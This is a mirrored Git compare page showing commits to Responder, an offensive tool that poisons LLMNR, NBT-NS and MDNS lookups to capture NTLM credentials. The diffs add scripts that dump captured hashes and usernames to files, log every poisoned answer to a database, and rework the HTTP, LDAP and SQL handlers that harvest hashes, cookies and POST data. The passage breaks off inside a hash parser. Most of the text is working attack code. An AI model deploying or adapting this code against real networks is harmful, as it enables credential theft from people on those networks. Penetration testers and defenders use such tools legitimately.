mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-11 10:19:04 +00:00
Compare commits
28 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9440cb3e30 | ||
|
|
21d48be98f | ||
|
|
c9609bd8c6 | ||
|
|
0642999741 | ||
|
|
5f59f2934e | ||
|
|
225857b6ed | ||
|
|
2c32704b85 | ||
|
|
0e3e6f9745 | ||
|
|
0ede767d95 | ||
|
|
de6e869a79 | ||
|
|
cf654ee178 | ||
|
|
5a2ee18bfa | ||
|
|
db61f243c9 | ||
|
|
0d441d1899 | ||
|
|
1d38cd39af | ||
|
|
17dc81cb68 | ||
|
|
ab2d8907f0 | ||
|
|
730808c83c | ||
|
|
b455ff406f | ||
|
|
aff17ca9d3 | ||
|
|
62d7dc4080 | ||
|
|
cad3adc319 | ||
|
|
fc2aadca6e | ||
|
|
90071187cd | ||
|
|
bcac8c4166 | ||
|
|
4a7499df03 | ||
|
|
581d7e6849 | ||
|
|
f321c1bbcc |
49
DumpHash.py
Executable file
49
DumpHash.py
Executable file
@@ -0,0 +1,49 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
def DumpHashToFile(outfile, data):
|
||||||
|
with open(outfile,"w") as dump:
|
||||||
|
dump.write(data)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv2Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print "Dumping NTLMV2 hashes:"
|
||||||
|
v2 = GetResponderCompleteNTLMv2Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv2.txt", v2)
|
||||||
|
print v2
|
||||||
|
print "\nDumping NTLMv1 hashes:"
|
||||||
|
v1 = GetResponderCompleteNTLMv1Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv1.txt", v1)
|
||||||
|
print v1
|
||||||
@@ -162,15 +162,24 @@ Options:
|
|||||||
-v, --verbose Increase verbosity.
|
-v, --verbose Increase verbosity.
|
||||||
|
|
||||||
|
|
||||||
|
## Donation ##
|
||||||
|
|
||||||
|
You can contribute to this project by donating to the following BTC address:
|
||||||
|
|
||||||
|
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
|
||||||
|
|
||||||
|
Or via Paypal:
|
||||||
|
|
||||||
|
[](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)
|
||||||
|
|
||||||
## Copyright ##
|
## Copyright ##
|
||||||
|
|
||||||
NBT-NS/LLMNR Responder
|
NBT-NS/LLMNR Responder
|
||||||
|
|
||||||
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
|
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
|
||||||
|
|
||||||
email: laurent.gaffie@gmail.com
|
email: laurent.gaffie@gmail.com
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
This program is free software: you can redistribute it and/or modify
|
||||||
it under the terms of the GNU General Public License as published by
|
it under the terms of the GNU General Public License as published by
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
|||||||
95
Report.py
Executable file
95
Report.py
Executable file
@@ -0,0 +1,95 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
import os
|
||||||
|
|
||||||
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
if txt.startswith('[*]'):
|
||||||
|
settings.Config.PoisonersLogger.warning(txt)
|
||||||
|
elif 'Analyze' in txt:
|
||||||
|
settings.Config.AnalyzeLogger.warning(txt)
|
||||||
|
|
||||||
|
if os.name == 'nt': # No colors for windows...
|
||||||
|
return txt
|
||||||
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderData(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
def GetResponderUsernames(cursor):
|
||||||
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('User account: {0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesWithDetails(cursor):
|
||||||
|
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetResponderCompleteHash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetStatisticUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print color("[+] Generating report...", code = 3, modifier = 1)
|
||||||
|
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
|
||||||
|
GetUniqueLookups(cursor)
|
||||||
|
GetStatisticUniqueLookups(cursor)
|
||||||
|
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernames(cursor)
|
||||||
|
print color("\n[+] Username details:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
|
GetResponderUsernamesStatistic(cursor)
|
||||||
|
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||||
|
#GetResponderCompleteHash(cursor)
|
||||||
@@ -13,8 +13,9 @@ HTTPS = On
|
|||||||
DNS = On
|
DNS = On
|
||||||
LDAP = On
|
LDAP = On
|
||||||
|
|
||||||
; Custom challenge
|
; Custom challenge.
|
||||||
Challenge = 1122334455667788
|
; Use "Random" for generating a random challenge for each requests (Default)
|
||||||
|
Challenge = Random
|
||||||
|
|
||||||
; SQLite Database file
|
; SQLite Database file
|
||||||
; Delete this file to re-capture previously captured hashes
|
; Delete this file to re-capture previously captured hashes
|
||||||
|
|||||||
@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
|
|||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
||||||
|
|
||||||
|
#Create the DB, before we start Responder.
|
||||||
|
CreateResponderDb()
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
@@ -231,15 +234,15 @@ def main():
|
|||||||
|
|
||||||
# Load Browser Listener
|
# Load Browser Listener
|
||||||
from servers.Browser import Browser
|
from servers.Browser import Browser
|
||||||
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
||||||
|
|
||||||
if settings.Config.HTTP_On_Off:
|
if settings.Config.HTTP_On_Off:
|
||||||
from servers.HTTP import HTTP
|
from servers.HTTP import HTTP
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
||||||
|
|
||||||
if settings.Config.SSL_On_Off:
|
if settings.Config.SSL_On_Off:
|
||||||
from servers.HTTP import HTTPS
|
from servers.HTTP import HTTP
|
||||||
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
|
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
|
||||||
|
|
||||||
if settings.Config.WPAD_On_Off:
|
if settings.Config.WPAD_On_Off:
|
||||||
from servers.HTTP_Proxy import HTTP_Proxy
|
from servers.HTTP_Proxy import HTTP_Proxy
|
||||||
|
|||||||
@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
LineHeader = "[Analyze mode: LLMNR]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), self.client_address)
|
soc.sendto(str(Buffer), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|||||||
@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
|
|||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
|
|||||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||||
|
|
||||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|||||||
@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
|
|||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
LineHeader = "[Analyze mode: NBT-NS]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = NBT_Ans()
|
Buffer = NBT_Ans()
|
||||||
Buffer.calculate(data)
|
Buffer.calculate(data)
|
||||||
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
|
|||||||
|
|
||||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||||
|
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
|||||||
|
|
||||||
|
|
||||||
# Parse NTLMv1/v2 hash.
|
# Parse NTLMv1/v2 hash.
|
||||||
def ParseHTTPHash(data, client, module):
|
def ParseHTTPHash(data, Challenge, client, module):
|
||||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||||
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
|
|||||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': module,
|
'module': module,
|
||||||
'type': 'NTLMv1',
|
'type': 'NTLMv1',
|
||||||
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
|
|||||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': module,
|
'module': module,
|
||||||
@@ -173,7 +173,7 @@ def GrabURL(data, host):
|
|||||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||||
|
|
||||||
# Handle HTTP packet sequence.
|
# Handle HTTP packet sequence.
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client, Challenge):
|
||||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
|
|
||||||
@@ -192,13 +192,14 @@ def PacketSequence(data, client):
|
|||||||
|
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
|
print "Challenge 2:", Challenge.encode('hex')
|
||||||
if Packet_NTLM == "\x01":
|
if Packet_NTLM == "\x01":
|
||||||
GrabURL(data, client)
|
GrabURL(data, client)
|
||||||
GrabReferer(data, client)
|
GrabReferer(data, client)
|
||||||
GrabHost(data, client)
|
GrabHost(data, client)
|
||||||
GrabCookie(data, client)
|
GrabCookie(data, client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
|
|
||||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||||
@@ -211,7 +212,7 @@ def PacketSequence(data, client):
|
|||||||
module = "WebDAV"
|
module = "WebDAV"
|
||||||
else:
|
else:
|
||||||
module = "HTTP"
|
module = "HTTP"
|
||||||
ParseHTTPHash(NTLM_Auth, client, module)
|
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||||
@@ -265,44 +266,47 @@ class HTTP(BaseRequestHandler):
|
|||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
for x in range(2):
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
|
while True:
|
||||||
self.request.settimeout(3)
|
self.request.settimeout(3)
|
||||||
data = self.request.recv(8092)
|
remaining = 10*1024*1024 #setting max recieve size
|
||||||
|
data = ''
|
||||||
|
while True:
|
||||||
|
buff = ''
|
||||||
|
buff = self.request.recv(8092)
|
||||||
|
if buff == '':
|
||||||
|
break
|
||||||
|
data += buff
|
||||||
|
remaining -= len(buff)
|
||||||
|
if remaining <= 0:
|
||||||
|
break
|
||||||
|
#check if we recieved the full header
|
||||||
|
if data.find('\r\n\r\n') != -1:
|
||||||
|
#we did, now to check if there was anything else in the request besides the header
|
||||||
|
if data.find('Content-Length') == -1:
|
||||||
|
#request contains only header
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
#searching for that content-length field in the header
|
||||||
|
for line in data.split('\r\n'):
|
||||||
|
if line.find('Content-Length') != -1:
|
||||||
|
line = line.strip()
|
||||||
|
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||||
|
|
||||||
|
#now the data variable has the full request
|
||||||
Buffer = WpadCustom(data, self.client_address[0])
|
Buffer = WpadCustom(data, self.client_address[0])
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
self.request.close()
|
self.request.close()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0])
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# HTTPS Server class
|
|
||||||
class HTTPS(StreamRequestHandler):
|
|
||||||
def setup(self):
|
|
||||||
self.exchange = self.request
|
|
||||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
|
||||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
data = self.exchange.recv(8092)
|
|
||||||
self.exchange.settimeout(0.5)
|
|
||||||
Buffer = WpadCustom(data,self.client_address[0])
|
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
|
||||||
self.exchange.send(Buffer)
|
|
||||||
if settings.Config.Verbose:
|
|
||||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
|
||||||
|
|
||||||
else:
|
|
||||||
Buffer = PacketSequence(data,self.client_address[0])
|
|
||||||
self.exchange.send(Buffer)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ def ParseLDAPHash(data, client):
|
|||||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
|
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
@@ -61,15 +61,15 @@ def ParseLDAPHash(data, client):
|
|||||||
if LMhashLen < 2 and settings.Config.Verbose:
|
if LMhashLen < 2 and settings.Config.Verbose:
|
||||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||||
|
|
||||||
def ParseNTLM(data,client):
|
def ParseNTLM(data,client, Challenge):
|
||||||
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||||
NTLMChall.calculate()
|
NTLMChall.calculate()
|
||||||
return str(NTLMChall)
|
return str(NTLMChall)
|
||||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||||
ParseLDAPHash(data,client)
|
ParseLDAPHash(data,client)
|
||||||
|
|
||||||
def ParseLDAPPacket(data, client):
|
def ParseLDAPPacket(data, client, Challenge):
|
||||||
if data[1:2] == '\x84':
|
if data[1:2] == '\x84':
|
||||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||||
@@ -96,7 +96,7 @@ def ParseLDAPPacket(data, client):
|
|||||||
})
|
})
|
||||||
|
|
||||||
if sasl == "\xA3":
|
if sasl == "\xA3":
|
||||||
Buffer = ParseNTLM(data,client)
|
Buffer = ParseNTLM(data,client, Challenge)
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
elif Operation == "\x63":
|
elif Operation == "\x63":
|
||||||
@@ -111,7 +111,8 @@ class LDAP(BaseRequestHandler):
|
|||||||
while True:
|
while True:
|
||||||
self.request.settimeout(0.5)
|
self.request.settimeout(0.5)
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
Buffer = ParseLDAPPacket(data,self.client_address[0])
|
Challenge = RandomChallenge()
|
||||||
|
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
||||||
|
|
||||||
if Buffer:
|
if Buffer:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ class TDS_Login_Packet:
|
|||||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||||
|
|
||||||
|
|
||||||
def ParseSQLHash(data, client):
|
def ParseSQLHash(data, client, Challenge):
|
||||||
SSPIStart = data[8:]
|
SSPIStart = data[8:]
|
||||||
|
|
||||||
